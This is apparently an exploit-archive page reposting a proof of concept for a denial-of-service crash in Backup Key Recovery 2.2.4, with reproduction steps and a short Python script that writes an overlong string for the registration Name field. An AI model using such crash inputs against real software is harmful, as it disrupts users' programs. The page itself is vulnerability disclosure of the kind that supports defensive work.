Backup key recovery 2.2.4 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-04-25 | Type : dos | Platform : windows
This exploit / vulnerability Backup key recovery 2.2.4 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#Exploit Title: Backup Key Recovery 2.2.4 - 'Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-24
#Vendor Homepage: www.nsauditor.com
#Software Link: http://www.nsauditor.com/downloads/backeyrecovery_setup.exe
#Tested Version: 2.2.4
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: Backup_key_rec_2.2.4.py
#2.- Open backup.txt and copy content to clipboard
#3.- Open Backup Key Recovery
#4.- Select "Register"
#5.- In "Name" paste Clipboard
#6.- In Key type "test"
#7.- Click "Ok"
#8.- Crarshed

cod = "\x41" * 300

f = open('backup.txt', 'w')
f.write(cod)
f.close()